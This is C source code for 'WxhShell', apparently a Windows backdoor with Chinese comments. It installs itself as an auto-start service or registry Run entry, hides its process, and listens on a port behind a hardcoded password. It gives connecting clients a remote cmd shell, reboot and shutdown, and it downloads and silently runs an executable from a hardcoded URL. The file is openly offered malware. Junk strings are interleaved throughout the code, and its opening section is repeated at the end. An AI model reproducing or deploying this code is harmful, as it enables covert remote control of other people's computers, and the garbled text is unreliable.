g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AnW72|=A( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @&F\ M} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T!ik"YZ@i a{y"vVQOF if (!NtQueryInformationProcess) return 0; bpaS(nBy 7,!$lT# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x 3C^ S~ if(!hProcess) return 0; 8jdEx&K +wpQ$)\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8j^3_lD mW 4{* CloseHandle(hProcess); (RM;T @` 2+'4 m#@) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >$/PfyY7@# if(hProcess==NULL) return 0; |WUm;o4E`U ln&9WF\I HMODULE hMod; 3x6@::s~ char procName[255]; Z&MfE0F/B unsigned long cbNeeded; <],~V\m bmd3fJb`r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :OC(93d)0 2`V[Nb CloseHandle(hProcess); `U6bI`l H vezi>M if(strstr(procName,"services")) return 1; // 以服务启动 '"4S3Fysm ^1jZwP;5eW return 0; // 注册表启动 [+_0y[~,tB } 8EC$p} S O@)D%*;v // 主模块 e<E]8GAF int StartWxhshell(LPSTR lpCmdLine) 4/+P7.}ea- { v0uA]6: SOCKET wsl; 7jtDhsVz BOOL val=TRUE; .0ExHcr int port=0; hL(zVkYI struct sockaddr_in door; IuOY.c2.u qs
0'}> if(wscfg.ws_autoins) Install(); iI@m e= {T(z@0Xu port=atoi(lpCmdLine); 0%OV3` vN8Xq+ if(port<=0) port=wscfg.ws_port; >6\rhx> 7w8I6 WSADATA data; F =Zc_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d:%!)s 3B6"T;_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; laX67Vjv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )m4O7'2G door.sin_family = AF_INET; o?]g door.sin_addr.s_addr = inet_addr("127.0.0.1"); \4FKZ>1+R door.sin_port = htons(port); W4V
!7_ 1(*Pa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SGA!%=Lp closesocket(wsl); ^Ss4< return 1; ry[NR$L/m } P+s-{vv{0 r_?i l]l if(listen(wsl,2) == INVALID_SOCKET) { f83Tl~ closesocket(wsl); 0X:
:<N@ return 1; ztG!NZL } $=rLs) Wxhshell(wsl); HLp9_Y{X. WSACleanup(); /4_^'RB +:D90p$e return 0; q7-.-k<dQ _6/q. } <RPy 6d%'>^`(o- // 以NT服务方式启动 [T>a}}@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <-%OXEG { 7$HN5T\! DWORD status = 0; P3u,)P& DWORD specificError = 0xfffffff; 1~_&XNb& w=K!U] serviceStatus.dwServiceType = SERVICE_WIN32; tMnwY' serviceStatus.dwCurrentState = SERVICE_START_PENDING; Rd|xw%R\mb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fD:>cje serviceStatus.dwWin32ExitCode = 0; SPEDN}/^ serviceStatus.dwServiceSpecificExitCode = 0; [ta3sEPjs serviceStatus.dwCheckPoint = 0; @ApX43U( serviceStatus.dwWaitHint = 0; d(> )?qH#>mD6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tMQz'3,X if (hServiceStatusHandle==0) return; Qk_`IlSd I[$SVPe# status = GetLastError(); 9YjO
if (status!=NO_ERROR) N-9qNLSP { @*}?4wU^k serviceStatus.dwCurrentState = SERVICE_STOPPED; SGUu\yS&s serviceStatus.dwCheckPoint = 0; f:6%DT~a&C serviceStatus.dwWaitHint = 0; 5J 0Sc serviceStatus.dwWin32ExitCode = status; b( qO fek serviceStatus.dwServiceSpecificExitCode = specificError; (}:n#|,{M SetServiceStatus(hServiceStatusHandle, &serviceStatus); o 2Okc><z return; 3Hg}G#]WS } 7x ?2(( Bx&F* a;5 serviceStatus.dwCurrentState = SERVICE_RUNNING; fj,]dQT serviceStatus.dwCheckPoint = 0; ^,;AM(E serviceStatus.dwWaitHint = 0; M(+;AS?; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g\O&gNq<)- } ]0yYMnqvr v@KP~kp // 处理NT服务事件,比如:启动、停止 5Rc^5Nv VOID WINAPI NTServiceHandler(DWORD fdwControl)
;p U=> { e_{!8u.+ switch(fdwControl) 7HkQ|~zGT { Tl2e?El;4 case SERVICE_CONTROL_STOP: ;?`l1:C5) serviceStatus.dwWin32ExitCode = 0; ?5yj</W serviceStatus.dwCurrentState = SERVICE_STOPPED; gY=Ry=w9 serviceStatus.dwCheckPoint = 0; SFdSA4D" serviceStatus.dwWaitHint = 0; nL[zXl { W<"{d SetServiceStatus(hServiceStatusHandle, &serviceStatus); us,1:@a)a } yxpDQO~x return; 7vf?#^RlV case SERVICE_CONTROL_PAUSE: b}OOG serviceStatus.dwCurrentState = SERVICE_PAUSED; IC:wof " break; $*Z Zh case SERVICE_CONTROL_CONTINUE: acdWU"< serviceStatus.dwCurrentState = SERVICE_RUNNING; [q5N 4&q\ break; Q#$#VT!F case SERVICE_CONTROL_INTERROGATE: qp6*v& break; kk*:S* , }; >tFv&1iR SetServiceStatus(hServiceStatusHandle, &serviceStatus); =e>#oPH } XA%a7Xtni iH#b"h{w // 标准应用程序主函数 z%pD3J?> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9^5D28y { aTx*6;-PH `AO<r // 获取操作系统版本 /j0zb& OsIsNt=GetOsVer(); _\y%u_W GetModuleFileName(NULL,ExeFile,MAX_PATH); :y!%GJW ]|y]?7 // 从命令行安装 QlFt:?7f if(strpbrk(lpCmdLine,"iI")) Install(); H^e0fm
kQY+D1 // 下载执行文件 6uAo0+-k if(wscfg.ws_downexe) { 4\6-sL?rW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n!*uv~%$ WinExec(wscfg.ws_filenam,SW_HIDE); Q4&|^RLLG } t=;84lA X%>Sio if(!OsIsNt) { qK9\oB%s7 // 如果时win9x,隐藏进程并且设置为注册表启动 ~^GY(J' HideProc(); ?(!<m'jEy StartWxhshell(lpCmdLine); @^)aUOe } xa?#wY
b else .PhH|jrCW^ if(StartFromService()) -#nfO*H}
// 以服务方式启动 ERE1XOe=D StartServiceCtrlDispatcher(DispatchTable); [v!TQwMU else /W,K% s] // 普通方式启动 R1%2]? StartWxhshell(lpCmdLine); S24wv2Uw i \\WIu? return 0; p`i_s(u } N {$'-[ DG&[.dR+ JvZNr?_w% JrkjfoN =========================================== D3>;X= 1 j+_pF<$f: 4&+;n[ D T|c9Swur 2+Tu"oG;rB 0{O|o_ " E|aPkq]
1M4I7*r #include <stdio.h> ]757oAXl #include <string.h> nv9kl Q@ #include <windows.h> ;BR`}~m #include <winsock2.h> sPee"9%, #include <winsvc.h> }5)sS}C #include <urlmon.h> onuhNn_=> o~*5FN}%+l #pragma comment (lib, "Ws2_32.lib") 'Si1r%'m# #pragma comment (lib, "urlmon.lib") '<v/Gl\ aFj)s?$4]K #define MAX_USER 100 // 最大客户端连接数 BK_x5mGu3 #define BUF_SOCK 200 // sock buffer #jja#PF]7 #define KEY_BUFF 255 // 输入 buffer O-M4NKl]6 \(C_t1 #define REBOOT 0 // 重启 Uv-xP(X #define SHUTDOWN 1 // 关机 osJ;"B36 r`THOj\cM #define DEF_PORT 5000 // 监听端口 JERWz~n} 3']yjj(gHr #define REG_LEN 16 // 注册表键长度 _Vs\:tygs #define SVC_LEN 80 // NT服务名长度 J:YFy-[w( \y-Lt!} // 从dll定义API T|h/n\fx)a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IkU:D"n7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I#]$H#}Av typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l1RpG" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r`Qzn" H 8G>;X;W // wxhshell配置信息 Ng6(2Wt0e struct WSCFG { \?bp^BrI int ws_port; // 监听端口 kW#{[,7r char ws_passstr[REG_LEN]; // 口令 "))G|+tz int ws_autoins; // 安装标记, 1=yes 0=no 0ang^v;q char ws_regname[REG_LEN]; // 注册表键名 %EZG2J jO) char ws_svcname[REG_LEN]; // 服务名 @+v;B: char ws_svcdisp[SVC_LEN]; // 服务显示名 [>'P char ws_svcdesc[SVC_LEN]; // 服务描述信息 1!x-_h}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dJh T}"x int ws_downexe; // 下载执行标记, 1=yes 0=no EcA@bZ0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?w}E/(r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *CA7
{2CX Ba$Ibq,r/ }; dz',!|> v@43%`"Gj // default Wxhshell configuration tNskB`541 struct WSCFG wscfg={DEF_PORT, ?U:LAub "xuhuanlingzhe", V01-n{~G 1, K#=)]qIk "Wxhshell", HS|X//] "Wxhshell", N{]|!# "WxhShell Service", 4JTFdbx "Wrsky Windows CmdShell Service", D3LW49
"Please Input Your Password: ", C} #:<Jx 1, u/5I;7cb "http://www.wrsky.com/wxhshell.exe", p",HF% "Wxhshell.exe" t}E1NXW }; mW_<c,3D. /"t*gN=wrF // 消息定义模块 x,\PV> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |M?yCo char *msg_ws_prompt="\n\r? for help\n\r#>"; =H_|007C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t(4%l4i;X char *msg_ws_ext="\n\rExit."; OBF2?[V~ char *msg_ws_end="\n\rQuit."; %bnDxCj" char *msg_ws_boot="\n\rReboot..."; '"H'#%RU char *msg_ws_poff="\n\rShutdown..."; QD0upYG char *msg_ws_down="\n\rSave to "; Y&O<A8=8 I9ga8mG4-' char *msg_ws_err="\n\rErr!"; XD5z+/F<"0 char *msg_ws_ok="\n\rOK!"; lE+v@Kb: 6#+&_#9 char ExeFile[MAX_PATH]; '[]V%^F int nUser = 0; 4#?OxvH HANDLE handles[MAX_USER]; p7Yej(B int OsIsNt; .[1"Med J m8Q6ESg<*u SERVICE_STATUS serviceStatus; djeax SERVICE_STATUS_HANDLE hServiceStatusHandle; G)b6Rit y ?FKou' // 函数声明 %f.(^<Gu int Install(void); DRLX0Ml]\ int Uninstall(void); $=f,z>j int DownloadFile(char *sURL, SOCKET wsh); 5$Yt@8; int Boot(int flag); Aw)='&;^z void HideProc(void); VJM n5v[V int GetOsVer(void); L;=<d int Wxhshell(SOCKET wsl); Gw6*0&3') void TalkWithClient(void *cs); u4L&8@ int CmdShell(SOCKET sock); +_gPZFpbx int StartFromService(void); n&x#_B- int StartWxhshell(LPSTR lpCmdLine); J9^RP~>bs tI&Z!fj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hlxZq VOID WINAPI NTServiceHandler( DWORD fdwControl ); r"OVu~ND j+:q:6 = // 数据结构和表定义 -r_/b SERVICE_TABLE_ENTRY DispatchTable[] = &eQF[8 , { B
Mh949; {wscfg.ws_svcname, NTServiceMain}, uhUC m {NULL, NULL} oB:tio4DE }; {~a=aOS m'$]lf;* // 自我安装 %|[+\py$Q int Install(void) 7WG"_A~V { RsS?ibozl char svExeFile[MAX_PATH]; :qi"I;=6 HKEY key; D+/27# strcpy(svExeFile,ExeFile); tY<D\T l6.z-Qw // 如果是win9x系统,修改注册表设为自启动 NAjK0]SRY if(!OsIsNt) { T~UKWAKX} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A-vK0l+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \?-`?QPux RegCloseKey(key); PNLtpixZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~/J:p5?L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &[}T41 RegCloseKey(key); n83,MV?- return 0; }E+}\& } Bry\"V"'g } +(VHnxNQs } eN@V?G26K else { K
oPTY^ X#<#7. // 如果是NT以上系统,安装为系统服务 Y!9'Wf/^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |s
:b9sfA if (schSCManager!=0) m M!H}| { k41lw^Jh SC_HANDLE schService = CreateService ~p{.4n2: ( D^To:N7U schSCManager, I ;N)jj`b wscfg.ws_svcname, ~qm<~T_0 wscfg.ws_svcdisp, 7vR JQe) SERVICE_ALL_ACCESS, iCCY222: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +5Yc/Qp SERVICE_AUTO_START, 2~+_T SERVICE_ERROR_NORMAL, PZ~uHX_d> svExeFile, *Z=K9y,IC NULL, 4flyV - NULL, +Gi~VW. NULL, *4Cq,o`o> NULL, <l(6$~(-u NULL RuDn1h#u{ ); .WA(X5 if (schService!=0) A{lzQO { (Vglcj CloseServiceHandle(schService); =jjUwcl CloseServiceHandle(schSCManager); nmp(%;<exN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Esw#D90q strcat(svExeFile,wscfg.ws_svcname); /j!?qID if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QA\eXnR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Er?Wg 09 RegCloseKey(key); k2l(!0o|; return 0; CZv.$H"lW } ]L4B } j8?z@iG CloseServiceHandle(schSCManager); 4lH$BIAW } uBw1Xud[YI } YbF}(iM ~sk ;6e)(2 return 1; GQoaBO. } Fku9hB &*RJh'o|N( // 自我卸载 - XIjol( int Uninstall(void) @yPa9Ug(V { K~OfC HKEY key; v:(_-8:F
@*'|8% if(!OsIsNt) { HJ]\VP9Zb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JX(J Z/8B^ RegDeleteValue(key,wscfg.ws_regname); f m.-*`ax RegCloseKey(key); utKtxLX" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'x
BBQP RegDeleteValue(key,wscfg.ws_regname); {`BC$V RegCloseKey(key); 9'C kV [ return 0; D`PnY&ffT } EAp6IhW{ } Udv5Y } f
sAgXv
else { nk9Kq\2f: gUzCDB^.: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qlmz@kTb if (schSCManager!=0) iD#HBo { C"_f3[Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8P.UB{QNe if (schService!=0) X6%w6%su5 { [TvH7ott'1 if(DeleteService(schService)!=0) { X*VHi CloseServiceHandle(schService); R:kNAtK CloseServiceHandle(schSCManager); Y15KaoK? return 0; fw,ruROqD } M@fUZh
CloseServiceHandle(schService); Dp!3uR']p } '`$a l7D CloseServiceHandle(schSCManager); n}PK0 } {C Qo}@.7 } He="S3XON '$*d:1 return 1; 1BUdl=o>S } {ecmOxKP} 0{g @j{Lbz // 从指定url下载文件 I^sWf3'db int DownloadFile(char *sURL, SOCKET wsh) YG$2ySkDhE { Z W`
Ur> HRESULT hr; VQV7W char seps[]= "/"; EL$"MT}p char *token; saQA:W; char *file; |2(z<b&y= char myURL[MAX_PATH]; AYHB?xOpR char myFILE[MAX_PATH]; FCTz>N^p !/, 6+2Ru strcpy(myURL,sURL); +c#:;&Gs token=strtok(myURL,seps); ik02Q,J while(token!=NULL) [RG&1~ { a(&!{Y1bt file=token; HByk 1 token=strtok(NULL,seps); @=q,,t$r } e|u|b b}4k-hZL GetCurrentDirectory(MAX_PATH,myFILE); t_ 5b strcat(myFILE, "\\"); cy8+@77 strcat(myFILE, file); }q9;..oL send(wsh,myFILE,strlen(myFILE),0); "ut:\%39. send(wsh,"...",3,0); 68?oV)fE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h"/FqO if(hr==S_OK) mcAg,~"HB return 0; B8-v!4b0` else GCCmUR9d return 1; w_|R.T\7 2P`QS@v0a= } =\.Oc+p4 %:oyHlz% // 系统电源模块 D"_~Njf int Boot(int flag) I9P<!#q> { 6r"uDV #0 HANDLE hToken; r1&b#r>
TOKEN_PRIVILEGES tkp; -]c5**O} } r^@Xh if(OsIsNt) { YgiwtZ5FY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o.U$\9MNP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4} uX[~e& tkp.PrivilegeCount = 1; #=/eu= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y,K): ~T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^/\OS@CT\ if(flag==REBOOT) { px5~D(N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9{@ #tx return 0; ;m$F~!Y } =t1.j=oC
else { d
(]t} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) un0tzz return 0; e\i K } 5g
,u\` } {n}6 else { +%(iGI{ if(flag==REBOOT) { c7T9kV8hS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gb+cT return 0; %J4]T35^2 } bf2R15|t5` else { xExy?5H7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -dbD&8 return 0; [tDUR } %
INRds } B% !z7AT 2zR*`9$ return 1; J7X-=E D } d!/@+i RbX!^v<0f6 // win9x进程隐藏模块 .{
^4I void HideProc(void) 0L10GJ "( { [o8a(oC x][vd^iW HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fU^B
3S6X if ( hKernel != NULL ) ^c{}G<U^ { /!ZeMY:x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6dTq&GZ\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dq~p]h~,H FreeLibrary(hKernel); AH`D&V } D3Lu]=G "Q9S<O8) return; @-~YQ@08` } en>d T [^t"Hf // 获取操作系统版本 ^57[&{MuBF int GetOsVer(void) Lu\]]m { /G`&k{SiK OSVERSIONINFO winfo; tVQfR*= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1)
V,>)Ak GetVersionEx(&winfo); Y'"2s~_
Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h-h U=I8 return 1; hKjvD.6]% else 6'ye-}vD- return 0; WmLl.Vv= } awuUaE Zy@35;r // 客户端句柄模块 %Q"zU9 int Wxhshell(SOCKET wsl) 0?l|A1I% { Y9~;6fg SOCKET wsh; k9UmTvX struct sockaddr_in client; pWH8ex+ DWORD myID; j~c7nWfX d$)'?Sf]h while(nUser<MAX_USER) [^ck;4q { !OM9aITv[ int nSize=sizeof(client); \lHi=}0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZV}BDwOFI if(wsh==INVALID_SOCKET) return 1; {OP-9P=p r:K)Q@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vgOmcf%; if(handles[nUser]==0) %Bmi3
=Rr closesocket(wsh); :xZ/c\ else ,S;?3? a nUser++; 'dM &~LSQ } -yfyd$5j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #C|:]moe Ou/@!Y1 return 0; 8
W8ahG} } iQ*JU2;7t d+~c$(M) // 关闭 socket VBR@f<2L void CloseIt(SOCKET wsh) wE3^6 { hZI9*=`," closesocket(wsh); =wK3\rG nUser--; R0+v5E ExitThread(0); AC ,$(E } w( `X P td4*+)'FY // 客户端请求句柄 !JUXq void TalkWithClient(void *cs) $/,qw
{ 3?Y%|ZVM (xK=/()}q SOCKET wsh=(SOCKET)cs; rgILOtk[ char pwd[SVC_LEN]; * b>W char cmd[KEY_BUFF]; R?1;'pvpa[ char chr[1]; X obiF int i,j; $f>Mz|j W-=~Afy while (nUser < MAX_USER) { 6k"Wy3/ xXH%7%W'f if(wscfg.ws_passstr) { C]*9:lK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lW'6rat //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Z.K3 //ZeroMemory(pwd,KEY_BUFF); K]zBPfx i=0; FB@c
+*1 while(i<SVC_LEN) { gqNd@tYI V'pNo&O= // 设置超时 iKV;>gF,)v fd_set FdRead; .r SeJZzuj struct timeval TimeOut; ;3Fgy8T FD_ZERO(&FdRead); eB/3MUz1 FD_SET(wsh,&FdRead); VJD$nh
#M5 TimeOut.tv_sec=8; k]Y+C@g TimeOut.tv_usec=0; >!A&@1[M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !l~tBJr*sB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4PTHUyX ItQI M# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e`4OlM] pwd=chr[0]; kJy<vb~
if(chr[0]==0xd || chr[0]==0xa) { /YHBhoat pwd=0; :<gmgI break; .Xo, BEjE/ } ywmx6q4MFL i++; N4!YaQQ;} } 2uS&A
\ ujB:G0'r // 如果是非法用户,关闭 socket -`]B4Nt6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]jG%<j9A } W5$jIQ}Bw Z4}Yw{=f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y[$[0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RmO-".$yt c;w
cgU while(1) { Y%p"RB[ tbAN{pX ZeroMemory(cmd,KEY_BUFF); ~zRUJ2hD! PmvTCfsg // 自动支持客户端 telnet标准 ho#]?Z# j=0; B^U5=L[:p while(j<KEY_BUFF) { Ha$|9li` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?ZdHuuDN~ cmd[j]=chr[0]; f!P.=Qo[= if(chr[0]==0xa || chr[0]==0xd) { +%eMm.( cmd[j]=0; ,V)yOLApVj break; vkE6e6,Qc } "<3PyW?zt j++; ^O#,%>1J } y2\, L T9{94Ra // 下载文件 "FcA:7 + if(strstr(cmd,"http://")) { *ky5SM(NR send(wsh,msg_ws_down,strlen(msg_ws_down),0); qOZe\<.V< if(DownloadFile(cmd,wsh)) h_?D%b~5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\C else 9g"a`a?c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \PU|<Ru. } Kx*;!3-V$ else { p4<&N MG /4w&! $M- switch(cmd[0]) { {qx}f^WV +q)
^pCC // 帮助 (BMFGyE3 case '?': { Cf<i" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~c! XQJ break; p8[Z/]p } U;;vNzcn // 安装 n0O- Bxhl case 'i': { 0Vh|UJ'&7 if(Install()) +?*,J=/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:"<x$F else -}9ZZ#K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J, ErnM break; $oq&uL } #p*{p)]HiA // 卸载 p[h A?dXn case 'r': { n8A*Y3~R if(Uninstall()) +_06{7@h send(wsh,msg_ws_err,strlen(msg_ws_err),0); B2
Tp;) else 1A< O
Z> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v)d\
5#7 break; ,S:g5n >M } 50l=B]M // 显示 wxhshell 所在路径 TaG'? case 'p': { 3@KX|- char svExeFile[MAX_PATH]; @4T+0&OI10 strcpy(svExeFile,"\n\r"); vxZvK0b620 strcat(svExeFile,ExeFile); A
99 .b send(wsh,svExeFile,strlen(svExeFile),0); n_)d4d zl break; |0B h } 0kQAT# // 重启 N02N
w(pi case 'b': { fi:Z*- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z99%uI3 if(Boot(REBOOT)) hi*\5(uH send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQ;m|@ else { cDxjD5E closesocket(wsh); PZf^r ExitThread(0); jToA"udW/ } (lwkg8WC break; qdL;Ii<Y0 } }Wn6r_: // 关机 ?#rDoYt/Sx case 'd': { $wdIOfaH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :a0qm.EN if(Boot(SHUTDOWN)) hCc_+/j| send(wsh,msg_ws_err,strlen(msg_ws_err),0); CcLP/ else { x>!#8?-h closesocket(wsh); Av_1cvR: ExitThread(0); o\g",O4- } Sl break; Pp@ P] } \H*"UgS // 获取shell y%cg case 's': { A>xFNem CmdShell(wsh); g.s~Ph- G closesocket(wsh); o D*h@yL ExitThread(0); 'X<R)E break; 0KHA5dt } Nf}G
"! // 退出 &f|LjpMCf case 'x': { kZ[E493bV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v5; c}n CloseIt(wsh); )<UNiC break; c9= ;:E } p3\F1]( Z // 离开 e#0R9+"Ba case 'q': { /$%apci8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]}w~fjq closesocket(wsh); {Tm31f(oD WSACleanup(); ](aXZ<, exit(1); DdN{=}A break; 0%cbno@1V } <I&X[Sqp } ?Sh]m/WZd[ } =xw) [ 54-sb~] // 提示信息 E-MEMran4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Rc#{A } Oq|RMl } ("}TW-r~ }(hx$G^M return; 2x"&8Bg3 } 4@.qM6 \\q Pn[-{nz // shell模块句柄 T5=3 jPQ int CmdShell(SOCKET sock) 2LiJ IO8N { NJI-8qTGI STARTUPINFO si; #B88w9
b`D ZeroMemory(&si,sizeof(si)); "S,,Bj L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >j4;{r+eQw si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fx_7X15 PROCESS_INFORMATION ProcessInfo; VEkv
JX. char cmdline[]="cmd"; quTM|>=_R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &
VJ+X|Z return 0; [W,Ej } i
?%;s5< d!D#:l3; // 自身启动模式 >KNiMW^V int StartFromService(void) ]t=m { LS}u6\( typedef struct 5hr$tkkL { MXh0 a@*] DWORD ExitStatus; K63OjR>H DWORD PebBaseAddress; &u&/t? DWORD AffinityMask; c/jU+,_g DWORD BasePriority; "iMuA ULONG UniqueProcessId; %d c=QSL ULONG InheritedFromUniqueProcessId; +g(>]!swb } PROCESS_BASIC_INFORMATION; [d`J2^z} @>}!g9c PROCNTQSIP NtQueryInformationProcess; CCNrjaA E].hoq7WiB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bk_23ygO_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j_H9l,V )>QpR8
G- HANDLE hProcess; }R=n!Y$F PROCESS_BASIC_INFORMATION pbi; )[C]1N=tK FO<PMK HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H9?(5 if(NULL == hInst ) return 0; J/mLmSx 9. 6"C<eYt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p[2`H$A g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F0qpJM, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y'((
tBWa! <wfPbzs-V if (!NtQueryInformationProcess) return 0; M+j V`J! 2F%2K?$`Ej hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ I"}3* if(!hProcess) return 0; 1YV ;pEw3w 3q:U0&F if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
